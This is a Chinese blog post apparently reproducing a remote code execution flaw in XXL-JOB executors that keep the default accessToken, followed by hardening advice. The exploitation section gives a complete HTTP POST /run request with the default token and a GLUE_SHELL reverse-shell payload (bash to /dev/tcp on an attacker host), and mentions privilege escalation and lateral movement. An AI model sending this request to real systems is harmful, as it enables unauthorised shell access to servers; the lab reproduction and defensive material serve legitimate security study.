前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >xxl-job默认accessToken绕过RCE

xxl-job默认accessToken绕过RCE

作者头像
叔牙
发布2024-11-23 16:20:21
发布2024-11-23 16:20:21
34500
代码可运行
举报
运行总次数:0
代码可运行

微信公众号:PersistentCoder

📢 提示: 靶场来自个人云服务器,真实网络环境渗透测试请严格遵守《中国网络信息安全法》,请勿轻易用于他人线上网络环境安全测试,本人不承担任何法律责任。

一、背景介绍

从XXL-JOB v2.3.1版本开始,在application.properties为accessToken增加了默认值,但大多数系统没有采取对其修改。

该漏洞是由于XXL-JOB在默认配置下,用于调度通信的accessToken不是随机生成的,而是使用application.properties配置文件中的默认值,如果用户没有修改该默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,导致远程代码执行。

当然仅仅是没有修改默认accessToken并不能形成RCE的条件,远程访问需要host加port,默认是9999(或者自定义端口),所以如果存在默认accessToken加executor的执行端口对外开放,就形成了“洞”。

二、漏洞复现

1.启动xxl-job-admin

拉取项目代码,使用doc/db/tables_xxl_job.sql脚本创建表结构以及初始化数据。修改xxl-job-admin/src/main/resources/application.properties配置文件:

代码语言:javascript
代码运行次数:0
复制
### xxl-job, datasource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai
spring.datasource.username=root
spring.datasource.password=root_pwd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver


### xxl-job, access token
xxl.job.accessToken=default_token

这里为了复现默认accessToken漏洞,不做修改,使用默认的即可。

然后到xxl-job-admin模块下打包:

代码语言:javascript
代码运行次数:0
复制
mvn -U clean package -Dmaven.test.skip

把jar包上传到服务器启动即可。

其实这个漏洞主要存在于xxl-job-executor中,控制台不部署都可以。

2.启动任务执行器

在业务项目中添加pom依赖:

代码语言:javascript
代码运行次数:0
复制
<!-- xxl-job-core -->
<dependency>
    <groupId>com.xuxueli</groupId>
    <artifactId>xxl-job-core</artifactId>
    <version>2.3.1</version>
</dependency>

然后添加xxl-job相关配置:

代码语言:javascript
代码运行次数:0
复制
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin


### xxl-job, access token
xxl.job.accessToken=default_token


### xxl-job executor appname
xxl.job.executor.appname=xxl-job-executor-sample
### xxl-job executor registry-address: default use address to registry , otherwise use ip:port if address is null
xxl.job.executor.address=
### xxl-job executor server-info
xxl.job.executor.ip=
xxl.job.executor.port=9999
### xxl-job executor log-path
xxl.job.executor.logpath=/data/applogs/xxl-job/jobhandler
### xxl-job executor log-retention-days
xxl.job.executor.logretentiondays=30

这里的accessToken使用默认的不修改。然后启动服务并开启9999端口。

3.漏洞扫描

从xxl-job-core的EmbedServer看到如果通过了accessToken验证就会执行executor中对应的方法,比如通过/run恶意调用业务逻辑等。

为了简单方便,我们直接使用某师傅的工具扫描我们的executor。

打开工具很轻易扫描出来我们搭建的xxl-job-executor存在默认accessToken权限绕过漏洞。而xxl-job执行的任务类型相对较丰富,可以直接执行glueshell类型的任务,也就是可以直接通过控制台到业务机器执行shell,很多场景这是很危险的做法。

4.漏洞利用

到模拟入侵的主机上使用nc命令启动服务监听某个端口:

使用前边的工具直接反弹shell到该主机:

如果executor这台机器能出网,那么这台机器就拿下了:

既然知道了原理,那么除了使用漏洞利用工具直接反弹shell,我们甚至可以直接用burpsuite或者postman等请求发送工具直接向xxl-job-executor发送请求来实现反弹,以burpsuite为例。

使用intruder和repeater都可以:

在请求内容填入如下内容:

代码语言:javascript
代码运行次数:0
复制
POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 391


{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/xxxx/2333 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

点击发送请求:

看到请求响应成功,然后到模拟攻击机器上看到getshell成功,并连上了机器。

shell反弹成功后,可以上去执行任何当前用户下的命令和操作,如果是root那就一步到位了,如果是非root那么可以利用工具和命令进行提权(比如setuid),挖掘机器上有价值的信息,以及做c段扫描和内网横向渗透,危害极高。

三、漏洞防护

上边所述漏洞主要原因是:

  • 任务执行(回调)敏感端口公网开放,"小可爱"做法。
  • 使用默认的accessToken,技术能力缺失或者偷懒。
  • 应用程序能随便出网。
  • 应用进程能执行bash。

既然知道了漏洞形成的原因,那么就很容易想到防护解决方案:

1.端口访问能力收敛

任务回调端口(默认9999),只对xxl-job-admin的机器开放,严格到内网通信。

2.修改默认accessToken

使用脚本或者工具生成一个相对比较复杂的accessToken,禁用默认的default_token。

改的话要连xxl-job-admin一起改,不然只改了xxl-job-executor中的accessToken,别人是访问不了了,但是把自己也封死了,可谓杀敌八百自损一万。

3.收缩服务器出栈规则

如果服务器上程序和工具都安装完毕,某种程度上可以禁止访问公网或者限制只能访问某些公网资源。

4.禁止应用进程开启bash

非必须情况下,业务进程没什么必要执行bash或shell脚本,那么直接禁掉呗。

参考

https://github.com/xuxueli/xxl-job

https://www.xuxueli.com/xxl-job/#%E3%80%8A%E5%88%86%E5%B8%83%E5%BC%8F%E4%BB%BB%E5%8A%A1%E8%B0%83%E5%BA%A6%E5%B9%B3%E5%8F%B0XXL-JOB%E3%80%8B

https://avd.aliyun.com/search?q=xxl-job

https://www.cnvd.org.cn/flaw/list?flag=true

https://szczecin.github.io/2023/09/03/XXL-JOB-Executor/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-11-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 PersistentCoder 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、背景介绍
  • 二、漏洞复现
  • 三、漏洞防护
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档